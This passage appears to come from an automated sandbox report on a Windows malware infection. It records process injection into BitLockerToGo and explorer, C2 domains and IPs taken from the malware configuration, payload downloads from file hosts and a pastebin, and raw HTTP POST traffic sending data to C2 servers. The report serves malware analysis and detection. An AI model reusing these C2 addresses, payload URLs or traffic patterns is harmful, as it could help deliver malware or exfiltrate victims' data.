Source: Binary string: mscorlib.ni.pdbRSDS source: WERA01C.tmp.dmp.28.dr
Source: Binary string: BitLockerToGo.pdbGCTL source: 34CA.exe, 00000008.00000002.2593726291.000000C000400000.00000004.00001000.00020000.00000000.sdmp, 34CA.exe, 00000008.00000002.2594862605.000000C000800000.00000004.00001000.00020000.00000000.sdmp, 34CA.exe, 00000008.00000003.2564338018.000001A460D90000.00000004.00001000.00020000.00000000.sdmp, 34CA.exe, 00000008.00000003.2564243556.000001A460DD0000.00000004.00001000.00020000.00000000.sdmp, 34CA.exe, 00000008.00000002.2594862605.000000C0008E6000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: System.Configuration.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Xml.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Xml.ni.pdbRSDS# source: WERA01C.tmp.dmp.28.dr
Source: Binary string: c:\p4builds\Products\GoToMeeting\v5.4_builds\output\G2M_Exe.pdb source: powershell.exe, 0000000E.00000002.2733250356.000002EC2EF61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2733250356.000002EC2EF1E000.00000004.00000800.00020000.00000000.sdmp, vm.exe, 00000012.00000000.2710580492.0000000000402000.00000002.00000001.01000000.00000013.sdmp, vm.exe, 00000012.00000002.4109799058.0000000000402000.00000002.00000001.01000000.00000013.sdmp, lm.exe, 00000013.00000000.2710612115.0000000000402000.00000002.00000001.01000000.00000014.sdmp, lm.exe, 00000013.00000002.3156773768.0000000000402000.00000002.00000001.01000000.00000014.sdmp, vm.exe, 00000019.00000000.2826688017.0000000000402000.00000002.00000001.01000000.00000013.sdmp, vm.exe, 00000019.00000002.3132755936.0000000000402000.00000002.00000001.01000000.00000013.sdmp, vm.exe.14.dr, lm.exe.14.dr
Source: Binary string: System.Core.ni.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Windows.Forms.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: mscorlib.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: mscorlib.ni.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Windows.Forms.pdb- source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Core.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Configuration.ni.pdbRSDScUN source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.ni.pdb source: WERA01C.tmp.dmp.28.dr
Source: Binary string: System.Core.ni.pdbRSDS source: WERA01C.tmp.dmp.28.dr
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ecx, dword ptr [esp+50h] 13_2_007591C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ecx, dword ptr [esp+54h] 13_2_00757189
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp ecx 13_2_00757189
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+04h] 13_2_0077A479
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edx, dword ptr [esp] 13_2_00779C20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then push eax 13_2_00773CD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edx, dword ptr [esp+30h] 13_2_0074FCB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edx, dword ptr [esp+00000200h] 13_2_0074FCB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ecx, dword ptr [esp+10h] 13_2_00756CB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esp+70h] 13_2_00757DEB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h 13_2_00757DEB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp eax 13_2_00752E51
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ecx, dword ptr [esp] 13_2_00777E80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+00000820h] 13_2_00766F80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ecx, dword ptr [esi+1Ch] 13_2_00766F80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp ecx 13_2_00766F80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+50h] 13_2_00766F80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov word ptr [ecx], ax 13_2_00755871
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edi, eax 13_2_0077B840
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp eax 13_2_0077B840
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp word ptr [ebx+ebp+02h], 0000h 13_2_0075D810
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 13_2_0074A000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+10h] 13_2_007530F6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp byte ptr [ecx], 00000000h 13_2_007530F6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ebx, eax 13_2_007438D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+00000820h] 13_2_00766F80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ecx, dword ptr [esi+1Ch] 13_2_00766F80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp ecx 13_2_00766F80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+50h] 13_2_00766F80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 00D23749h 13_2_0075E086
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp eax 13_2_0075E086
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esp] 13_2_00778880
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+00000820h] 13_2_0076788A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then movzx edx, word ptr [ebx+eax*4] 13_2_00748960
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ecx, dword ptr [esp] 13_2_00748960
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp ecx 13_2_0077B160
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edi, eax 13_2_0077B160
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp eax 13_2_0077B160
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+08h] 13_2_00751937
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h 13_2_0075B920
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 13_2_0075B920
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+50h] 13_2_007691C8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [00784970h] 13_2_007641A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [edi+0Ch] 13_2_00743260
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov word ptr [edx], 0000h 13_2_00753A2A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then lea ebp, dword ptr [esp+03h] 13_2_00766210
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ecx, dword ptr [esp+54h] 13_2_007572DD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp ecx 13_2_007572DD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp word ptr [eax+ebx+02h], 0000h 13_2_007582CB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then movzx edi, byte ptr [ecx+esi] 13_2_00743A80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 13_2_0075B360
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp ecx 13_2_0077B350
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edi, eax 13_2_0077B350
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp eax 13_2_0077B350
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp dword ptr [eax+edi*8], 11081610h 13_2_00764BF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [00784A9Ch] 13_2_00764BF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then movzx ebx, byte ptr [edx] 13_2_00771BF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edx, dword ptr [esi+08h] 13_2_007543E5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp dword ptr [edi+esi*8], 11081610h 13_2_007633B6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then movsx eax, byte ptr [esi+ecx] 13_2_0074E450
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp eax 13_2_0075EC06
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp byte ptr [ecx], 00000000h 13_2_00751D52
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ebx, dword ptr [edi+04h] 13_2_007665F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+10h] 13_2_00753DE6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then movzx edx, byte ptr [esi+edi] 13_2_00742DD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp ecx 13_2_0077B5A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edi, eax 13_2_0077B5A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp eax 13_2_0077B5A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edi, eax 13_2_00753678
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+04h] 13_2_00754E68
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp byte ptr [ebx], 00000000h 13_2_00754E68
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+04h] 13_2_00754E68
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ecx, dword ptr [esp+10h] 13_2_00756EF8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then inc ebx 13_2_007566B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then movzx ecx, word ptr [esi+eax] 13_2_00776710
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov al, 01h 13_2_0077A706
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp ecx 13_2_0077B700
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edi, eax 13_2_0077B700
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp eax 13_2_0077B700
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp dword ptr [edi+esi*8], 11081610h 13_2_007637B6

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 77.221.157.163 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 107.173.160.139 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 107.173.160.137 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 162.0.235.84 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 109.172.114.212 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 64.190.113.113 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 78.89.199.216 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 167.235.128.153 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 185.149.100.242 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 190.12.87.61 80 Jump to behavior
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: indexterityszcoxp.shop
Source: Malware configuration extractor URLs: lariatedzugspd.shop
Source: Malware configuration extractor URLs: callosallsaospz.shop
Source: Malware configuration extractor URLs: outpointsozp.shop
Source: Malware configuration extractor URLs: liernessfornicsa.shop
Source: Malware configuration extractor URLs: upknittsoappz.shop
Source: Malware configuration extractor URLs: shepherdlyopzc.shop
Source: Malware configuration extractor URLs: unseaffarignsk.shop
Source: Malware configuration extractor URLs: http://mzxn.ru/tmp/index.php
Source: Malware configuration extractor URLs: http://100xmargin.com/tmp/index.php
Source: Malware configuration extractor URLs: http://wgdnb4rc.xyz/tmp/index.php
Source: Malware configuration extractor URLs: http://olinsw.ws/tmp/index.php
Connects to a pastebin service (likely for C&C)
Source: unknown DNS query: name: rentry.co
Connects to several IPs in different countries
Source: unknown Network traffic detected: IP country count 10
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.4:50739 -> 94.156.79.190:4449
Source: global traffic TCP traffic: 192.168.2.4:50787 -> 193.222.96.24:4449
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 27 Jul 2024 06:54:02 GMTServer: ApacheLast-Modified: Mon, 22 Jul 2024 19:29:34 GMTETag: "f1600-61ddb109e6b16"Accept-Ranges: bytesContent-Length: 988672Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 05 00 6c 5a 41 03 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 00 00 00 c0 08 00 00 5c 06 00 00 00 00 00 c0 5a 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 0f 00 00 04 00 00 00 00 00 00 03 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 78 10 0f 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0f 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 c0 08 00 00 10 00 00 00 c0 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 00 50 06 00 00 d0 08 00 00 4c 06 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 30 00 00 00 20 0f 00 00 02 00 00 00 10 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 00 10 00 00 00 50 0f 00 00 02 00 00 00 12 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 58 00 00 00 00 60 0f 00 00 02 00 00 00 14 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 77.221.157.163 77.221.157.163
Source: Joe Sandbox View IP Address: 107.173.160.139 107.173.160.139
Source: Joe Sandbox View IP Address: 107.173.160.137 107.173.160.137
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: INFOBOX-ASInfoboxruAutonomousSystemRU INFOBOX-ASInfoboxruAutonomousSystemRU
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a6c95ef2da5b759f65c60665167952ee
Source: Joe Sandbox View JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /wp-content/images/pic1.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: mussangroup.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 8179
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 155659
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1288
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: GET /setups.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: funrecipebooks.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: callosallsaospz.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: GET /microgods/raw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-CH) WindowsPowerShell/5.1.19041.1682Host: rentry.coConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: callosallsaospz.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: callosallsaospz.shop
Source: global traffic HTTP traffic detected: GET /download/direct/6b24ec97-2a8d-468d-a24d-c8081cda1dab/vm.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: store4.gofile.ioConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: callosallsaospz.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: callosallsaospz.shop
Source: global traffic HTTP traffic detected: GET /download/direct/0656c5cf-51b4-4fa4-ae48-8ee5ed3d142e/lm.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: store4.gofile.io
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1256Host: callosallsaospz.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 569637Host: callosallsaospz.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: liernessfornicsa.shop
